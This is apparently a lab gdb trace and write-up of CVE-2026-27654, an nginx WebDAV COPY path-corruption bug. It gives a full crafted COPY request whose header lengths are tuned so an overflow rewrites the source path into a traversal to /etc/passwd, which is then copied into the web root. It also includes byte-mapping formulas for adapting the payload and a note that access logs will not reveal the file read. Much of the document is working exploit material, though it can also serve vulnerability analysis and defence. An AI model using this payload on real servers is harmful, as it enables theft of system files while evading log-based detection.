CVE-2026-27654 source-path corruption -- gdb trace
==================================================

Environment: aarch64, Debian 12, glibc 2.36, nginx 1.29.5 (-g -O0)

Request (single COPY, no PUT):

    COPY /dav/xxxxxxxxxx HTTP/1.1\r\n
    Host: 127.0.0.1:9080\r\n
    Src: /../../../etc/passwd\r\n
    Pad: /tmp/lab/www/leaked\r\n
    Destination: /da\r\n
    \r\n

Header names "Src" and "Pad" are arbitrary; nginx parses and ignores them.
Their KEY lengths (3 chars each) are tuned so the parser's NUL terminators
land at the right offsets relative to duri.data (see byte-mapping below).

Breakpoints
-----------

=== AFTER SOURCE MAP (L697, before corruption) ===
path.data       = 0xaaaaf5847545
path.len        = 50
path str        = "/tmp/lab/aaaaaaaaaaaaaaaaaaaaaaaaaaaaa/xxxxxxxxxx"
r->pool->d.last = 0xaaaaf5847577   <-- next pnalloc returns this

=== AFTER DEST MAP (L707, post-overflow) ===
copy.path.data  = 0xaaaaf5847577
copy.path.len   = 38
gap (dest - src) = 50              <-- == src_len, so contiguous

--- source path bytes [0..49] AFTER overflow ---
0xaaaaf5847545: 2f 74 6d 70 2f 6c 61 62    /tmp/lab
0xaaaaf584754d: 2f 61 61 61 61 61 61 61    /aaaaaaa
0xaaaaf5847555: 61 61 61 61 61 61 61 2f    aaaaaaa/
0xaaaaf584755d: 2e 2e 2f 2e 2e 2f 2e 2e    ../../..
0xaaaaf5847565: 2f 65 74 63 2f 70 61 73    /etc/pas
0xaaaaf584756d: 73 77 64 00 0a 50 61 64    swd\0\nPad   (junk past NUL)
0xaaaaf5847575: 00 20                      \0<sp>
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                bytes [23..49] overwritten by bounded memcpy tail

--- source path as C string AFTER overflow ---
"/tmp/lab/aaaaaaaaaaaaaa/../../../etc/passwd"
 ^^^^^^^^^^^^^^^^^^^^^^^                       23 surviving bytes (= L - 27)
                        ^^^^^^^^^^^^^^^^^^^^   from Src value (duri[-61..-42])
                                            ^  NUL from Src's CR (duri[-41])

--- dest path bytes [0..37] ---
0xaaaaf5847577: 2f 74 6d 70 2f 6c 61 62    /tmp/lab
0xaaaaf584757f: 2f 77 77 77 2f 6c 65 61    /www/lea
0xaaaaf5847587: 6b 65 64 00 0a 44 65 73    ked\0\nDes
0xaaaaf584758f: 74 69 6e 61 74 69 6f 6e    tination
0xaaaaf5847597: 00 20 2f 64 61 00          \0<sp>/da\0

--- dest path as C string ---
"/tmp/lab/www/leaked"
 ^^^^^^^^^^^^^^^^^^^                       19 bytes from Pad value
                    ^                      NUL from Pad's CR (duri[-15])

--- duri (Destination header) ---
duri.data = 0xaaaaf5835657   duri.len = 3
(duri.data + 5) & 0xf = 12                 <-- >= 2, count wraps OK

=== ngx_copy_file ===
from = "/tmp/lab/aaaaaaaaaaaaaa/../../../etc/passwd"
to   = "/tmp/lab/www/leaked"


Byte-mapping formulas (gdb-confirmed)
=====================================

Pool layout:                  ngx_pnalloc -> bump allocator, no alignment
                              No allocations between L693 and L703.
                              dest_path = source_path + L (contiguous)

Source-path size:             L = root.len + uri.len - alias + 1 = 50
Dest-path size:               path.len = root.len + duri.len - alias + 1 = 38
Backward reach:               65 - path.len = 27 bytes
Surviving prefix:             L - 27 = 23 bytes
Overwritten range:            source_path[23 .. 49]  (27 bytes)

Source mapping:               source_path[j] = duri[j - L - root.len + alias]
                              = duri[j - 84]   for j in [23, 49]

Dest mapping:                 dest_path[i] = duri[i - root.len + alias]
                              = duri[i - 34]   for i in [0, 36]

NUL placement:                duri[-15] = NUL (Pad CR)   -> dest_path[19]
                              duri[-41] = NUL (Src CR)   -> source_path[43]

Why the header keys are 3 chars:
  The Src CR's offset from duri.data is fixed by what's between them:
    1 (Src CR) + 1 (LF) + len("Pad") + 1 (:) + 1 (sp) + len(Pad value)
    + 1 (Pad CR) + 1 (LF) + 11 ("Destination") + 1 (:) + 1 (sp)
    = 4 + 3 + 19 + 15 = 41
  So Src CR is at duri[-41].  With "X-Pad" (5 chars) it would be at
  duri[-43] -> source_path[41] -> only 18 chars of traversal, and
  /../../../etc/passwd needs 20.


Forensic note
=============

nginx debug log records the source path BEFORE corruption (L697 < L703):

    http copy from: "/tmp/lab/aaaaaaaaaaaaaaaaaaaaaaaaaaaaa/xxxxxxxxxx"
    http copy to:   "/tmp/lab/www/leaked"

The actual open() syscall sees the corrupted path:

    /tmp/lab/aaaaaaaaaaaaaa/../../../etc/passwd

Defenders auditing access logs alone will not see /etc/passwd anywhere.
